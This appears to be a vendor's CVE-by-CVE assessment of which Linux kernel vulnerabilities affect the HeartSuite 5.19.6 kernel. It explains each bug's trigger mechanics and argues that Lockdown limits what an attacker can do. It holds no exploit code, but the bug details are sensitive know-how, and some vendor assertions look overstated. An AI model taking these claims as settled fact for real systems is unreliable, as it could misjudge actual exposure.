CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server. __ext4_remount() is reached exclusively via mount(MS_REMOUNT) — a privileged operation that Lockdown blocks unconditionally. do_mount() returns EPERM whenever HS_locked_down() is true (kernel/namespace.c:4218), so root cannot call mount() at all; the CVE’s entry point is blocked at the syscall level before any ext4 code is reached. In Lockdown, the allowlist additionally prevents execution of any exploit program that would invoke the remount path.

CVE-2023-52530

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present; WoWLAN path unreachable Affected range: kernels through 6.7.3, 6.6.18, 6.1.81, 5.15.150, 5.10.214, 5.4.273, 4.19.311 (5.19 branch is EOL; no backport) Upstream fix: Linux 6.7.4, 6.6.19, 6.1.82, 5.15.151, 5.10.215, 5.4.274, 4.19.312

This CVE describes a use-after-free in the mac80211 WoWLAN (Wake on Wireless LAN) GTK rekey path. When ieee80211_gtk_rekey_add() installs a new group temporal key, it calls ieee80211_key_link(). If the new key is identical to the one already installed — the KRACK protection path — ieee80211_key_link() frees the new key via ieee80211_key_free_unused(key) and returns 0 to signal that the reinstall was silently accepted. ieee80211_gtk_rekey_add() treats the 0 return as success, skips the error branch, and returns &key->conf — a pointer into the object that was just freed. The caller receives a dangling pointer to freed ieee80211_key memory.

CONFIG_MAC80211=y is compiled in. The entry point ieee80211_gtk_rekey_add() guards itself with WARN_ON(!local->wowlan): it requires WoWLAN to be active, which in turn requires a WiFi NIC with WoWLAN firmware support, a wireless interface, and an active station association. No WiFi network interface card is present on a server deployment. Without WiFi hardware, mac80211 creates no wireless interfaces and neither the rekey path nor any other mac80211 code path is reachable.

If exploited on a deployment with WiFi hardware and WoWLAN active, the CVE leads to kernel memory corruption that can escalate to root. At that point Lockdown constrains everything the attacker can do with that root access.

The allowlist database files are made immutable before Lockdown is engaged. FS_IOC_SETFLAGS returns EPERM for all callers (kernel/ioctl.c), so root cannot use chattr to clear those immutable flags and rewrite the allowlist. mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c), blocking any bind-mount or remount attempt to shadow or replace the allowlist files. HeartSuite reactivation is disabled during Lockdown, so the service cannot be reconfigured to accept new entries through any path.

Lockdown’s allowlist adds a further constraint on program execution: every execution is checked at the kernel level, applying equally to root. An attacker who has gained root cannot execute a backdoor program they drop onto the filesystem — it has no allowlist entry, and the kernel refuses to run it regardless of file ownership or permission bits.

CVE-2023-52612

Status: Not exploitable Component: kernel crypto framework — scomp interface (CONFIG_CRYPTO) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_INET_IPCOMP not compiled; no compression algorithm registered; scomp_acomp_comp_decomp() unreachable Affected range: kernels prior to stable fixes in the 6.7.x, 6.6.x, 6.1.x, 5.15.x, 5.10.x, and 5.4.x series (5.19 branch is EOL; no backport) Upstream fix: merged in Linux 6.8-rc; backported across active stable series

This CVE describes a buffer overflow in the kernel software compression (scomp) interface in crypto/scompress.c. The scomp_acomp_comp_decomp() function uses a per-CPU scratch buffer of SCOMP_SCRATCH_SIZE bytes as working space. If the caller provides a req->dst scatter list smaller than SCOMP_SCRATCH_SIZE, the function still caps req->dlen to SCOMP_SCRATCH_SIZE and then copies the full output — up to that size — into req->dst via scatterwalk_map_and_copy(). No check verifies that req->dst can hold req->dlen bytes before the copy. A caller who controls req->dst and triggers a compression or decompression that fills the scratch buffer can write beyond the end of the destination scatter list.

The scomp interface is the software-side of the kernel’s acomp (asynchronous compression) API. It is not a general-purpose path used by dm-crypt, TLS, or cipher operations — it exists exclusively to service IPsec compression transforms (IPCOMP, RFC 3173). scomp_acomp_comp_decomp() is only reached when a compression algorithm is registered with the scomp backend and a caller submits a request to it. On Root Lock by HeartSuite there are no such callers and no such registrations:

• # CONFIG_INET_IPCOMP is not set — the IPv4/IPv6 IPsec compression module is not compiled; no IPCOMP transform can be configured
• # CONFIG_CRYPTO_DEFLATE is not set — DEFLATE not compiled; not registered with scomp
• # CONFIG_CRYPTO_LZ4 is not set — LZ4 not compiled; not registered with scomp
• # CONFIG_CRYPTO_ZSTD is not set — ZSTD not compiled; not registered with scomp

With no compression algorithm registered, the scomp backend has no handler to dispatch to. CONFIG_CRYPTO=y means the crypto framework is present, but framework presence is not trigger reachability. The trigger cannot be reached on any Root Lock by HeartSuite deployment.

CVE-2024-26654

Status: Not exploitable Component: ALSA AICA Dreamcast sound driver (CONFIG_SND_AICA) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in; no code path exists Upstream fix: merged in Linux 6.8; backported across active stable series (5.19 branch is EOL; no backport — not required for HS)

This CVE describes a use-after-free caused by a circular scheduling race between dreamcastcard->timer and spu_dma_work in the AICA Yamaha sound chip driver (sound/sh/aica.c). The timer callback aica_period_elapsed() schedules spu_dma_work via schedule_work(); the work handler then re-arms the timer via mod_timer(). spu_begin_dma() independently schedules the work and arms the timer in the same call. These two execution paths can race against each other and against card teardown, producing a use-after-free on the snd_card_aica object while the timer or work item is still pending.

CONFIG_SND_AICA is not set in the Root Lock by HeartSuite kernel. sound/sh/aica.c is gated by obj-$(CONFIG_SND_AICA) in sound/sh/Makefile and is not compiled. There is no AICA driver code present in the running kernel — not merely absent hardware, but absent code. An attempt to reach this path has no code to execute. The Root Lock by HeartSuite kernel predates the upstream fix, but the fix is not required: it patches code that was never compiled in.

CVE-2024-26704

Status: Not exploitable Component: ext4 filesystem — online defragmentation (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — EXT4_IOC_MOVE_EXT ioctl only reached by defragmentation tools; none in HS allowlist Affected range: kernels prior to stable fixes in the 6.8.x, 6.7.x, 6.6.x, 6.1.x, 5.15.x, 5.10.x, and 5.4.x series (5.19 branch is EOL; no backport) Upstream fix: merged in Linux 6.8; backported across active stable series

This CVE describes a use-after-free in ext4_move_extents() in fs/ext4/move_extent.c, reachable via the EXT4_IOC_MOVE_EXT ioctl. The function moves file extents between an original inode and a donor inode. If the first move operation fails, o_start has not advanced past orig_blk, so *moved_len is set to zero. Preallocation blocks set up for orig_inode and donor_inode are discarded only when *moved_len is non-zero — the guard at move_extent.c:692. With *moved_len == 0, those preallocations are never discarded, leaving stale preallocation state that produces a use-after-free when the preallocations are later released. The EXT4_IOC_MOVE_EXT ioctl requires only write access to the file — no CAP_SYS_ADMIN, consistent with the PR:L CVSS score.

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. The EXT4_IOC_MOVE_EXT ioctl is the sole entry point to the vulnerable ext4_move_extents() path; it is invoked by extent-defragmentation tools (e4defrag) and not by normal filesystem read or write operations. No defragmentation tool appears in the HS allowlist, and the kernel blocks any process without an allowlist entry from executing. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

If your deployment adds e4defrag or any other extent-defragmentation tool to the HS allowlist, the EXT4_IOC_MOVE_EXT ioctl becomes reachable and this CVE applies at its base score of 7.8 HIGH. Treat it as Affected and apply the standard backstop logic.

CVE-2024-26842

Status: Not exploitable Component: UFS host controller driver (CONFIG_SCSI_UFSHCD) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in; no code path exists Upstream fix: merged in Linux 6.8; backported across active stable series (5.19 branch is EOL; no backport — not required for HS)

This CVE describes an out-of-bounds memory access in the UFS host controller driver’s MCQ (Multi-Circular Queue) mode. When task_tag >= 32 and sizeof(unsigned int) == 4, the expression 1U << task_tag is undefined behaviour in C — shifting a 32-bit value by 32 or more positions. In practice this produces incorrect bitmask values in the per-queue task tracking, allowing the computed mask to index outside the valid task range and corrupt adjacent memory.

CONFIG_SCSI_UFSHCD is not set in the Root Lock by HeartSuite kernel. The UFS host controller driver is not compiled, and no UFS source files are present under drivers/scsi/ufs/ in the kernel tree. The prior claim that “ufshcd is compiled in but never bound to hardware” was incorrect — the driver does not exist in the running kernel image at all. The Root Lock by HeartSuite kernel predates the upstream fix, but the fix is not required: it patches code that was never compiled in.

CVE-2022-48662

Status: Not exploitable Component: Intel i915 DRM driver — i915_perf (CONFIG_DRM_I915) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no Intel display GPU present Affected range: Linux 5.19.x before 5.19.16; 5.15.x before 5.15.74; earlier stable series also affected Upstream fix: Linux 5.19.16, 5.15.74, 5.10.148, 5.4.218, 4.19.263 (fix landed within the 5.19 branch before it reached EOL; 5.19.6 predates it)

This CVE describes a use-after-free in the i915 performance monitoring subsystem (i915_perf.c). During OA register reconfiguration, i915_perf iterates i915->gem.contexts.list under i915->gem.contexts.lock. For each entry it acquires a reference via kref_get_unless_zero() and then drops the spin lock to call gen8_configure_context(). After the call it re-acquires the lock and calls list_safe_reset_next(ctx, cn, link) to advance the iteration cursor — dereferencing ctx->link. The assumption is that holding a reference prevents the context from being unlinked. It does not: a concurrent thread can remove ctx from the list while its refcount is non-zero. When list_safe_reset_next dereferences ctx->link after the lock is re-acquired, it reads from freed or repurposed list-head memory.

CONFIG_DRM_I915=y is compiled in and 5.19.6 falls within the affected range. No Intel integrated or discrete display GPU is present on a server deployment. Without GPU hardware, DRM device nodes are not created and the i915_perf entry point is unreachable. This follows the established pattern for i915 CVEs — see CVE-2022-4139.

If exploited on a deployment with i915 hardware, the CVE leads to kernel memory corruption that can escalate to root. At that point Lockdown constrains everything the attacker can do with that root access.

The allowlist database files are made immutable before Lockdown is engaged. FS_IOC_SETFLAGS returns EPERM for all callers (kernel/ioctl.c), so root cannot use chattr to clear those immutable flags and rewrite the allowlist. mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c), blocking any bind-mount or remount attempt to shadow or replace the allowlist files. HeartSuite reactivation is disabled during Lockdown, so the service cannot be reconfigured to accept new entries through any path.

Lockdown’s allowlist adds a further constraint on program execution: every execution is checked at the kernel level, applying equally to root. An attacker who has gained root cannot execute a backdoor program they drop onto the filesystem — it has no allowlist entry, and the kernel refuses to run it regardless of file ownership or permission bits.

CVE-2024-26934

Status: Not exploitable Component: USB core (CONFIG_USB) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no USB interface device on headless HS server; deadlock race unreachable Affected range: 4.11–6.8 Upstream fix: 6.8.2 series

Among the attribute file callback routines in drivers/usb/core/sysfs.c, interface_authorized_store() is the only one that acquires a device lock on an ancestor device. It delegates immediately to usb_deauthorize_interface() (drivers/usb/core/message.c), which takes device_lock(dev->parent) first (line 1792) and then device_lock(dev) (line 1795). This lock ordering diverges from other USB subsystem paths, creating an ABBA deadlock when a concurrent bind or configuration operation holds the interface device lock and waits to acquire the parent lock while usb_deauthorize_interface() holds the parent lock and waits for the child. The deadlock stalls the USB subsystem and can produce a kernel hang. The HS 5.19.6 kernel carries the unpatched interface_authorized_store() at drivers/usb/core/sysfs.c:1172 and the unchanged usb_deauthorize_interface() at drivers/usb/core/message.c:1792.

CONFIG_USB=y is compiled in and 5.19.6 falls within the affected range. Triggering the ABBA deadlock race requires writing to the /sys/.../authorized sysfs attribute of an enumerated USB interface device while a concurrent USB operation is in progress. Root Lock by HeartSuite runs on headless server hardware with no external USB devices connected; no USB interface device is enumerated, so the sysfs path does not exist and the race condition is unreachable. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-26939

Status: Not exploitable Component: Intel i915 DRM driver (CONFIG_DRM_I915) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no Intel display GPU present Affected range: pre-6.8 Upstream fix: 6.8 series

Object debugging tools were sporadically reporting illegal attempts to free a still-active i915 VMA object when parking a GT believed to be idle: [161.359441] ODEBUG: free active object type: i915_active. When the GPU’s Graphics Tile (GT) transitions to the parked (powered-down) state, i915_vma_parked() (drivers/gpu/drm/i915/i915_vma.c:1729) iterates the gt->closed_vma list of VMAs marked for deferred destruction. For each candidate it calls i915_gem_object_trylock() (line 1758) and, on success, calls i915_vma_destroy() (line 1760) immediately — without checking whether the VMA’s embedded i915_active tracker has reached zero. If outstanding GPU command-buffer work still holds a live reference through that tracker, the object is freed while completion callbacks continue to dereference it, producing a use-after-free with attacker-controlled timing on the GPU side.

CONFIG_DRM_I915=y is compiled in. No Intel integrated or discrete display GPU is present on this server deployment. Without display hardware, DRM device nodes are not created and the GT power-management paths that call i915_vma_parked() are never reached. The environmental score reflects this: the vulnerable code path is structurally unreachable on the deployed hardware configuration.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2022-48689

Status: Affected Component: TCP receive zerocopy (CONFIG_INET) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 6.5 MEDIUM — Lockdown reduces MI: High→Low; AC:H reduces exploitability (Exp=1.05 vs 1.83 for AC:L) Affected range: 4.14–pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

A syzbot report identified a misuse of pfmemalloc page status in TCP zerocopy receive paths. In tcp_zerocopy_receive() (net/ipv4/tcp.c:2086), socket buffer fragment pages are collected into a batch (line 2178: page = skb_frag_page(frags)) and mapped directly into userspace via vm_insert_pages(). No page_is_pfmemalloc() check is performed before adding a fragment page to the batch. Pages allocated from pfmemalloc reserves (used to break memory-pressure deadlocks in the network receive path) carry special lifecycle accounting; mapping them into userspace circumvents that accounting. A local attacker who can induce a pfmemalloc allocation into the TCP receive path can map a reserve page into their own address space, potentially corrupting page refcount state in ways that lead to privilege escalation.

Why HeartSuite does not reduce this to 0.0:

CONFIG_INET=y is compiled in and 5.19.6 falls within the affected range. The TCP zerocopy receive path (TCP_ZEROCOPY_RECEIVE ioctl on a connected socket) is reachable by any local user with network access. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2022-48701

Status: Not exploitable Component: USB audio driver (CONFIG_SND_USB_AUDIO) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

There may be a bad USB audio device with a USB ID of (0x04fa, 0x4201) and fewer than 4 interfaces; an out-of-bounds read bug occurs when the USB audio stream parser iterates altsettings. The Dallas DS4201 workaround at sound/usb/stream.c:1108 unconditionally caps num = 4 regardless of how many altsettings the device actually reports. If a malicious or malformed device presents that USB ID with fewer than 4 altsettings, the loop at line 1111 accesses iface->altsetting[i] beyond the bounds of the array, leaking kernel memory.

CONFIG_SND_USB_AUDIO is not set in the HS 5.19.6 configuration. The USB audio driver — including the vulnerable sound/usb/stream.c altsetting parser — is not compiled into the kernel image. A USB device with this ID cannot be claimed by any USB audio driver, and the vulnerable code path does not exist on this system.

CVE-2022-48702

Status: Not exploitable Component: EMU10K1 audio driver (CONFIG_SND_EMU10K1) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

The voice allocator sometimes begins allocating from near the end of the array and then wraps around; however snd_emu10k1_pcm_channel_alloc() accesses the voices array without the wrapping modulo that the allocator itself uses. The round-robin allocator in sound/pci/emu10k1/voice.c:42 uses i %= NUM_G to keep indices in bounds, but sound/pci/emu10k1/emupcm.c:127 assigns multichannel voices as &emu->voices[epcm->voices[0]->number + i] with no % NUM_G guard. When the allocator places the first voice near the end of the 64-entry array and more than one voice is requested, the addition exceeds array bounds, producing an out-of-bounds read and write that can corrupt adjacent kernel memory.

CONFIG_SND_EMU10K1 is not set in the HS 5.19.6 configuration. The EMU10K1 driver — including the vulnerable sound/pci/emu10k1/emupcm.c channel allocator — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2022-48695

Status: Not exploitable Component: mpt3sas SCSI driver (CONFIG_SCSI_MPT3SAS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

A use-after-free occurs during controller reset in the mpt3sas firmware event cleanup path. In drivers/scsi/mpt3sas/mpt3sas_scsih.c, the reset handler iterates queued firmware events and calls cancel_work_sync() on each. When cancel_work_sync() returns non-zero (the work was never executed), the handler calls fw_event_work_put() at line 3752 to release the work’s reference — then unconditionally calls fw_event_work_put() again at line 3754. This double decrement underflows the kref reference count, freeing the fw_event_work object while other paths may still hold pointers to it.

CONFIG_SCSI_MPT3SAS is not set in the HS 5.19.6 configuration. The mpt3sas driver — including the vulnerable firmware event cleanup path — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-35789

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present Affected range: pre-fix Upstream fix: 6.9 series

When moving a station out of a VLAN and deleting the VLAN afterwards, the fast_rx entry still holds a pointer to the VLAN’s netdev, which can cause use-after-free. In net/mac80211/cfg.c, the station change path at line 1949 calls __ieee80211_check_fast_rx_iface(vlansdata), which builds a new fast_rx structure with dev = vlansdata->dev (the target VLAN’s netdev). The original VLAN’s fast_rx is cleared at line 1955 via ieee80211_clear_fast_rx(sta), but that function uses RCU: the old fast_rx object — containing dev = original_vlan->dev — is not freed until after a grace period. If the original VLAN interface is deleted before that grace period expires, any CPU still reading the old fast_rx entry will dereference a freed netdev. The HS 5.19.6 kernel carries the unpatched station change path at net/mac80211/cfg.c:1939–1970.

CONFIG_MAC80211=y is compiled in. No WiFi network interface card is present on a server deployment. Without WiFi hardware, mac80211 creates no wireless interfaces and the relevant code paths are never reached.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2024-35886

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: 6.9 series

What this means for an attacker:

syzkaller reported infinite recursive calls of fib6_dump_done() during netlink socket destruction. From the log, syzkaller sent an AF_UNSPEC RTM_GETROUTE message, and then closed the netlink socket. The IPv6 FIB dump handler at net/ipv6/ip6_fib.c:652 hooks the callback destructor by setting cb->done = fib6_dump_done (saving the original callback in cb->args[3]). When the netlink socket closes, netlink core invokes the destructor, calling fib6_dump_done() at line 570. This function calls cb->done(cb) — but cb->done is now fib6_dump_done itself, creating infinite recursion that exhausts the kernel stack. The HS 5.19.6 kernel carries the unpatched FIB dump callback at net/ipv6/ip6_fib.c:645–684.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and 5.19.6 falls within the affected range. Triggering the infinite recursion requires sending an AF_UNSPEC RTM_GETROUTE netlink message and then closing the socket — reachable by any local user with a netlink socket. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2023-52835

Status: Not exploitable Component: perf events subsystem (CONFIG_PERF_EVENTS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — perf_event_paranoid=3 restricts perf_event_open(); no profiling tool in HS allowlist Affected range: pre-fix Upstream fix: 6.8 series

When perf-record with a large AUX area, e.g. 4GB, it fails with: #perf record -C 0 -m ,4G -e arm_spe_0// -- sleep 1 failed to mmap with 12 (Cannot allocate memory). The perf AUX area mmap handler in kernel/events/core.c:6269–6345 calculates memory accounting limits and calls rb_alloc_aux() to allocate the backing pages. For very large AUX areas (gigabytes), the accounting arithmetic at line 6285 (user_locked += user_extra) can underflow or produce incorrect values when user_extra is extremely large (e.g., 1M pages for 4GB). The mmap() still succeeds despite the accounting failure, allowing unprivileged users to bypass RLIMIT_MEMLOCK restrictions and exhaust kernel memory. The HS 5.19.6 kernel carries the unpatched AUX area accounting at kernel/events/core.c:6269–6345.

CONFIG_PERF_EVENTS=y is compiled in and 5.19.6 falls within the affected range. On a Root Lock by HeartSuite system, perf_event_paranoid=3 restricts perf_event_open() to processes with CAP_SYS_ADMIN; no profiling or performance analysis tool appears in the HS allowlist. The exploitation path — loading and executing a non-allowlisted program — is blocked at the kernel execution gate before any perf subsystem interaction is possible. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2023-52868

Status: Not exploitable Component: thermal management (CONFIG_THERMAL) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — thermal sysfs not accessible in HS allowlist; Lockdown blocks the trigger Affected range: pre-fix Upstream fix: 6.9 series

The dev->id value comes from ida_alloc(), so it is a number between zero and INT_MAX. In drivers/thermal/thermal_core.c, this ID is formatted into fixed-size THERMAL_NAME_LENGTH (20-byte) buffers using sprintf(). At line 681, sprintf(dev->attr_name, "cdev%d_trip_point", dev->id) produces a string of the form "cdev<N>_trip_point". For large IDs, the full string exceeds 20 bytes: "cdev2147483647_trip_point" is 25 characters plus a null terminator (26 bytes total), overflowing attr_name by 6 bytes. The same overflow applies at line 690 for sprintf(dev->weight_attr_name, "cdev%d_weight", dev->id), which produces up to 22 bytes into a 20-byte buffer. Both overflows corrupt adjacent kernel heap memory and can be leveraged for privilege escalation.

CONFIG_THERMAL=y is compiled in and 5.19.6 falls within the affected range. Thermal management is present on all x86 servers for CPU temperature control. Triggering the overflow requires registering a thermal cooling device with a sufficiently large ID — this path requires access to the thermal sysfs interface, which is not included in the HS allowlist. On a Root Lock by HeartSuite system in Lockdown, the kernel blocks any process without an allowlist entry from executing, so a standalone exploit tool cannot reach the thermal registration interface. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-36916

Status: Not exploitable Component: block I/O cost controller (CONFIG_BLK_CGROUP_IOCOST) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — iocost cgroup paths not in HS allowlist; Lockdown blocks the trigger Affected range: pre-fix Upstream fix: 6.9 series

UBSAN catches undefined behavior in blk-iocost, where sometimes iocg->delay is shifted right by a number that is too large, resulting in undefined behavior on some architectures. Two sites in block/blk-iocost.c are affected: line 1338 computes iocg->delay >> div64_u64(tdelta, USEC_PER_SEC), where the divisor is elapsed time in seconds — if the delay has been active for 64 or more seconds, the shift amount reaches or exceeds 64, which is undefined behavior for a 64-bit type under the C standard. Line 2112 performs iocg->delay >> nr_cycles, where nr_cycles can similarly exceed 63. On x86 the shift wraps, but on other architectures the result is indeterminate. Incorrect delay values can bypass I/O throttling controls or cause the cgroup I/O cost model to make scheduling decisions based on garbage data.

CONFIG_BLK_CGROUP_IOCOST=y is compiled in and 5.19.6 falls within the affected range. The blk-iocost controller is active whenever cgroups are in use with I/O cost weighting enabled. Configuring iocost requires writing to cgroup control files under /sys/fs/cgroup/ — no cgroup management tool that exposes iocost configuration appears in the HS allowlist. On a Root Lock by HeartSuite system in Lockdown, the kernel blocks any process without an allowlist entry from executing, so a standalone exploit tool cannot reach the iocost configuration path. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-38560

Status: Not exploitable Component: Brocade bfa SCSI driver (CONFIG_SCSI_BFA) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

Currently, we allocate a nbytes-sized kernel buffer and copy nbytes from userspace to that buffer. In drivers/scsi/bfa/bfad_bsg.c, the BSG passthrough handler at line 3373 allocates kzalloc(bsg_data->payload_len, GFP_KERNEL) where payload_len comes directly from the user-supplied BSG request structure, with no upper-bound validation. Line 3379 then calls copy_from_user(..., bsg_data->payload_len) using the same unchecked value. An attacker with access to the BSG device node can supply an oversized payload_len to exhaust kernel memory or, with a carefully chosen value, produce a heap overflow.

CONFIG_SCSI_BFA is not set in the HS 5.19.6 configuration. The Brocade bfa Fibre Channel HBA driver — including the vulnerable bfad_bsg.c BSG handler — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-38588

Status: Not exploitable Component: kprobes (CONFIG_KPROBES) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — kprobe registration not in HS allowlist; Lockdown blocks the exploitation trigger Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In kernel/trace/ftrace.c, ftrace_location() at line 1577 calls lookup_rec(ip, ip) at line 1583 to obtain a dyn_ftrace *rec pointer without holding ftrace_lock. On a concurrent path, module unloading frees the pages that back ftrace records for module functions. If a module is removed between the lookup_rec() return and the return rec->ip dereference at line 1594, the pointer references freed memory. The race is reached through the kprobe registration path: check_kprobe_address_safe() → check_ftrace_location() → ftrace_location() — all called without the lock that serialises ftrace record lifetime.

CONFIG_KPROBES=y is compiled in. Triggering the bug requires CAP_SYS_ADMIN to register a kprobe — the attack path runs through check_kprobe_address_safe() → check_ftrace_location() → ftrace_location(). No Root Lock by HeartSuite Root Lock by HeartSuite deployment permits any service to register kprobes. Without an allowlist entry covering the kprobes interface, the kernel refuses access. An attacker who has already gained root cannot add one: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2024-40901

Status: Not exploitable Component: LSI/Avago mpt3sas SCSI driver (CONFIG_SCSI_MPT3SAS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In drivers/scsi/mpt3sas/mpt3sas_scsih.c, the pd_handles bitmap is allocated as (ioc->facts.MaxDevHandle / 8) bytes (rounded up) via kzalloc() at mpt3sas_base.c:8312. The test_bit() function accesses bitmaps in unsigned long-sized units (8 bytes on 64-bit kernels). When the allocation is smaller than sizeof(unsigned long) — for example a single byte when MaxDevHandle is 8 — calls such as test_bit(sas_device->handle, ioc->pd_handles) at line 1942 and test_bit(handle, ioc->pd_handles) at line 4106 read 7 bytes beyond the heap allocation, producing a slab out-of-bounds read.

CONFIG_SCSI_MPT3SAS is not set in the HS 5.19.6 configuration. The LSI/Avago mpt3sas SAS/SATA/NVMe HBA driver — including the vulnerable mpt3sas_scsih.c bitmap access paths — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-40978

Status: Not exploitable Component: QLogic qedi iSCSI driver (CONFIG_SCSI_QEDI) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In drivers/scsi/qedi/qedi_debugfs.c, qedi_dbg_do_not_recover_cmd_read() at line 128 calls sprintf(buffer, "do_not_recover=%d\n", qedi_do_not_recover) where buffer is the char __user * argument passed directly from the debugfs file read handler. sprintf() writes to a kernel virtual address rather than staging data in a kernel buffer first; on a system with SMAP (Supervisor Mode Access Prevention) enabled, the kernel write to a userspace pointer faults immediately and panics the kernel. The correct fix is to stage into a kernel buffer and use simple_read_from_buffer() to copy to userspace.

CONFIG_SCSI_QEDI is not set in the HS 5.19.6 configuration. The QLogic qedi iSCSI HBA driver — including the vulnerable qedi_dbg_do_not_recover_cmd_read() debugfs handler — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-41092

Status: Not exploitable Component: Intel i915 DRM driver (CONFIG_DRM_I915) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no Intel display GPU present Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

